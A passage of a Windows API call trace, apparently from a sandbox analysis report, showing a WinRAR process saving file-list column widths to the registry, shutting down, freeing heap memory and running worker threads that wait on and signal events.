lpdwDisposition=0x18abd0*=0x2) returned 0x0 [0067.632] RegSetValueExW (in: hKey=0x1ac, lpValueName="name", Reserved=0x0, dwType=0x4, lpData=0x18b078*=0x78, cbData=0x4 | out: lpData=0x18b078*=0x78) returned 0x0 [0067.632] RegCloseKey (hKey=0x1ac) returned 0x0 [0067.632] SendMessageW (hWnd=0x10208, Msg=0x101d, wParam=0x1, lParam=0x0) returned 0x50 [0067.632] GetLastError () returned 0x0 [0067.632] SetLastError (dwErrCode=0x0) [0067.632] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abd8, lpdwDisposition=0x18abd0 | out: phkResult=0x18abd8*=0x1ac, lpdwDisposition=0x18abd0*=0x2) returned 0x0 [0067.632] RegSetValueExW (in: hKey=0x1ac, lpValueName="size", Reserved=0x0, dwType=0x4, lpData=0x18b078*=0x50, cbData=0x4 | out: lpData=0x18b078*=0x50) returned 0x0 [0067.632] RegCloseKey (hKey=0x1ac) returned 0x0 [0067.633] SendMessageW (hWnd=0x10208, Msg=0x101d, wParam=0x2, lParam=0x0) returned 0x78 [0067.633] GetLastError () returned 0x0 [0067.633] SetLastError (dwErrCode=0x0) [0067.633] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abd8, lpdwDisposition=0x18abd0 | out: phkResult=0x18abd8*=0x1ac, lpdwDisposition=0x18abd0*=0x2) returned 0x0 [0067.633] RegSetValueExW (in: hKey=0x1ac, lpValueName="type", Reserved=0x0, dwType=0x4, lpData=0x18b078*=0x78, cbData=0x4 | out: lpData=0x18b078*=0x78) returned 0x0 [0067.633] RegCloseKey (hKey=0x1ac) returned 0x0 [0067.633] SendMessageW (hWnd=0x10208, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x64 [0067.633] GetLastError () returned 0x0 [0067.633] SetLastError (dwErrCode=0x0) [0067.633] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList\\FileColumnWidths", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x18abd8, lpdwDisposition=0x18abd0 | out: phkResult=0x18abd8*=0x1ac, lpdwDisposition=0x18abd0*=0x2) returned 0x0 [0067.633] RegSetValueExW (in: hKey=0x1ac, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0x18b078*=0x64, cbData=0x4 | out: lpData=0x18b078*=0x64) returned 0x0 [0067.633] RegCloseKey (hKey=0x1ac) returned 0x0 [0067.633] KillTimer (hWnd=0x101f6, uIDEvent=0xa) returned 0 [0067.633] RevokeDragDrop (hwnd=0x101f6) returned 0x0 [0067.633] PostQuitMessage (nExitCode=0) [0067.637] NtdllDefWindowProc_W (hWnd=0x101f6, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0067.637] IUnknown:AddRef (This=0x7fefe535380) returned 0x1 [0067.637] GdiplusShutdown (token=0x280000) [0067.639] OleUninitialize () [0067.644] GetModuleHandleW (lpModuleName=0x0) returned 0x13f160000 [0067.645] GetModuleHandleW (lpModuleName=0x0) returned 0x13f160000 [0067.645] FreeLibrary (hLibModule=0x7fefdc00000) returned 1 [0067.646] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x208e20 | out: hHeap=0x1b0000) returned 1 [0067.646] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1e2bb0 | out: hHeap=0x1b0000) returned 1 [0067.646] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x213290 | out: hHeap=0x1b0000) returned 1 [0067.647] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x222410 | out: hHeap=0x1b0000) returned 1 [0067.647] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2152f0 | out: hHeap=0x1b0000) returned 1 [0067.647] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x226420 | out: hHeap=0x1b0000) returned 1 [0067.647] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x22a490 | out: hHeap=0x1b0000) returned 1 [0067.647] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x234bf0 | out: hHeap=0x1b0000) returned 1 [0067.647] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x23ecf0 | out: hHeap=0x1b0000) returned 1 [0067.647] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x243d80 | out: hHeap=0x1b0000) returned 1 [0067.647] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x248a60 | out: hHeap=0x1b0000) returned 1 [0067.648] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2469b0 | out: hHeap=0x1b0000) returned 1 [0067.648] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x254fe0 | out: hHeap=0x1b0000) returned 1 [0067.649] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x24ca70 | out: hHeap=0x1b0000) returned 1 [0067.650] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x258ff0 | out: hHeap=0x1b0000) returned 1 [0067.650] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1e57b0 | out: hHeap=0x1b0000) returned 1 [0067.650] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x260060 | out: hHeap=0x1b0000) returned 1 [0067.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x25dec0 | out: hHeap=0x1b0000) returned 1 [0067.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x264070 | out: hHeap=0x1b0000) returned 1 [0067.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2910080 | out: hHeap=0x1b0000) returned 1 [0067.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x268080 | out: hHeap=0x1b0000) returned 1 [0067.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ed020 | out: hHeap=0x1b0000) returned 1 [0067.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26f930 | out: hHeap=0x1b0000) returned 1 [0067.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x26dcf0 | out: hHeap=0x1b0000) returned 1 [0067.651] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1da410 | out: hHeap=0x1b0000) returned 1 [0067.652] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x2014a0 | out: hHeap=0x1b0000) returned 1 [0067.652] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1da520 | out: hHeap=0x1b0000) returned 1 [0067.652] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0067.652] GetLastError () returned 0x57 [0067.652] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-1", hFile=0x0, dwFlags=0x0) returned 0x0 [0067.654] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0067.654] GetLastError () returned 0x57 [0067.654] LoadLibraryExW (lpLibFileName="ext-ms-win-kernel32-package-current-l1-1-0", hFile=0x0, dwFlags=0x0) returned 0x0 [0067.656] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f868 | out: phModule=0x18f868) returned 0 [0067.683] RtlExitUserProcess (ExitCode=0x0) [0067.692] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8030 | out: hHeap=0x1b0000) returned 1 Thread: id = 27 os_tid = 0xa40 Thread: id = 30 os_tid = 0x2c8 Thread: id = 32 os_tid = 0xa78 Thread: id = 38 os_tid = 0x760 Thread: id = 104 os_tid = 0xaf8 [0059.145] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.151] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.152] SetEvent (hEvent=0x1a4) returned 1 [0059.152] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.155] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.157] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.158] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.160] SetEvent (hEvent=0x1a4) returned 1 [0059.194] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.383] SetEvent (hEvent=0x1a4) returned 1 [0059.383] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.702] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.844] SetEvent (hEvent=0x1a4) returned 1 [0059.844] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.107] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.285] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.030] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.433] SetEvent (hEvent=0x1a4) returned 1 [0063.433] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.745] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.903] SetEvent (hEvent=0x1a4) returned 1 [0063.903] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.150] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.178] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.803] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.122] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 105 os_tid = 0xafc [0059.194] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.383] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.702] SetEvent (hEvent=0x1a4) returned 1 [0059.702] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.843] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.107] SetEvent (hEvent=0x1a4) returned 1 [0060.107] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.284] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.036] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.432] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.746] SetEvent (hEvent=0x1a4) returned 1 [0063.746] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.903] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.151] SetEvent (hEvent=0x1a4) returned 1 [0064.151] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.176] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.813] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.155] SetEvent (hEvent=0x1a4) returned 1 [0065.155] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 106 os_tid = 0xb48 [0059.194] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.535] SetEvent (hEvent=0x1a4) returned 1 [0059.535] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.701] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.842] SetEvent (hEvent=0x1a4) returned 1 [0059.842] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.093] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.278] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.569] SetEvent (hEvent=0x1a4) returned 1 [0061.626] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.421] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.737] SetEvent (hEvent=0x1a4) returned 1 [0063.737] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.896] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.147] SetEvent (hEvent=0x1a4) returned 1 [0064.147] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.173] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.758] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.135] SetEvent (hEvent=0x1a4) returned 1 [0065.135] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 107 os_tid = 0x96c [0059.194] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.532] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.701] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.841] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.094] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.276] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.597] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.420] SetEvent (hEvent=0x1a4) returned 1 [0063.420] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.734] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.896] SetEvent (hEvent=0x1a4) returned 1 [0063.896] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.141] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.172] SetEvent (hEvent=0x1a4) returned 1 [0064.172] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.767] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.131] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 108 os_tid = 0x978 [0059.194] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.541] SetEvent (hEvent=0x1a4) returned 1 [0059.541] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.714] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.857] SetEvent (hEvent=0x1a4) returned 1 [0059.857] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.258] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.290] SetEvent (hEvent=0x1a4) returned 1 [0060.290] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.131] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.551] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.864] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.129] SetEvent (hEvent=0x1a4) returned 1 [0064.129] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.156] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.430] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.945] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 109 os_tid = 0xba8 [0059.195] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.538] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.715] SetEvent (hEvent=0x1a4) returned 1 [0059.715] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.856] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.259] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.289] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.139] SetEvent (hEvent=0x1a4) returned 1 [0062.139] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.550] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.866] SetEvent (hEvent=0x1a4) returned 1 [0063.866] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.128] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.156] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.591] SetEvent (hEvent=0x1a4) returned 1 [0065.176] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 110 os_tid = 0xb90 [0059.195] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.536] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.713] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.843] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.105] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.281] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.574] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.419] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.735] SetEvent (hEvent=0x1a4) returned 1 [0063.735] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.895] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.142] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.171] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.776] SetEvent (hEvent=0x1a4) returned 1 [0064.776] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.126] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 111 os_tid = 0x968 [0059.195] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.535] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.713] SetEvent (hEvent=0x1a4) returned 1 [0059.714] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.842] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.106] SetEvent (hEvent=0x1a4) returned 1 [0060.106] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.280] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0061.587] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.422] SetEvent (hEvent=0x1a4) returned 1 [0063.422] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.735] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.897] SetEvent (hEvent=0x1a4) returned 1 [0063.897] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.145] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.175] SetEvent (hEvent=0x1a4) returned 1 [0064.175] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.824] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.155] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 112 os_tid = 0x970 [0059.195] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.561] SetEvent (hEvent=0x1a4) returned 1 [0059.561] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.714] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.855] SetEvent (hEvent=0x1a4) returned 1 [0059.855] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.106] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.287] SetEvent (hEvent=0x1a4) returned 1 [0060.287] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.084] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.443] SetEvent (hEvent=0x1a4) returned 1 [0063.443] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.862] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.979] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.154] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.181] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.864] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.156] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 113 os_tid = 0x9d8 [0059.195] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.560] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.714] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.854] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.106] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.286] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.091] SetEvent (hEvent=0x1a4) returned 1 [0062.091] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.442] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.862] SetEvent (hEvent=0x1a4) returned 1 [0063.862] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.978] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.155] SetEvent (hEvent=0x1a4) returned 1 [0064.155] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.180] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.877] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.156] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 114 os_tid = 0x808 [0059.196] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.562] SetEvent (hEvent=0x1a4) returned 1 [0059.562] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.726] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.865] SetEvent (hEvent=0x1a4) returned 1 [0059.865] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.263] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.292] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.115] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.551] SetEvent (hEvent=0x1a4) returned 1 [0063.551] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.867] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.133] SetEvent (hEvent=0x1a4) returned 1 [0064.133] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.159] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.598] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0065.008] SetEvent (hEvent=0x1a4) returned 1 [0065.008] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 115 os_tid = 0x9d4 [0059.196] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.562] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.727] SetEvent (hEvent=0x1a4) returned 1 [0059.727] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.865] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.264] SetEvent (hEvent=0x1a4) returned 1 [0060.264] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.291] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.123] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.551] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.868] SetEvent (hEvent=0x1a4) returned 1 [0063.868] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.132] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.160] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.594] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.931] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 116 os_tid = 0x9c8 [0059.196] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.562] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.725] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0059.856] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.260] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0060.288] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0062.072] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.433] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.851] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0063.980] SetEvent (hEvent=0x1a4) returned 1 [0063.980] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.152] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.183] SetEvent (hEvent=0x1a4) returned 1 [0064.183] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 [0064.959] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 117 os_tid = 